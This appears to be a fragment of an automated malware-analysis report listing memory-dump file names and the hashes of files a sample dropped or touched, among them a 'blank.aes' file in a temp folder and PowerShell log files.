memory/448-109-0x00007FFFE81C0000-0x00007FFFE81D9000-memory.dmp

memory/448-108-0x00007FFFD6F90000-0x00007FFFD7106000-memory.dmp

memory/448-115-0x00007FFFE8BD0000-0x00007FFFE8BDD000-memory.dmp

memory/448-113-0x00007FFFD6990000-0x00007FFFD6EB9000-memory.dmp

memory/448-117-0x00007FFFD7110000-0x00007FFFD77E9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI50202\blank.aes

MD5 ee22ea1c056912aad1a0e5d190365d45
SHA1 642e802764c46c78e173c4d9cc9b909387ab44c5
SHA256 fe2b9937286b04ba4cad518906ec4d5399b8bd0acf9efffb709cb404251b2b8c
SHA512 c71d68474fa460dfe8b7572ddfa7ba3dfc0c3c50edbf340c8e922df4c43dc2d2825dc63c28cdc3ec1f94be30c4bb7c642655a6d901da9b351e1db2b61b0b097d

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c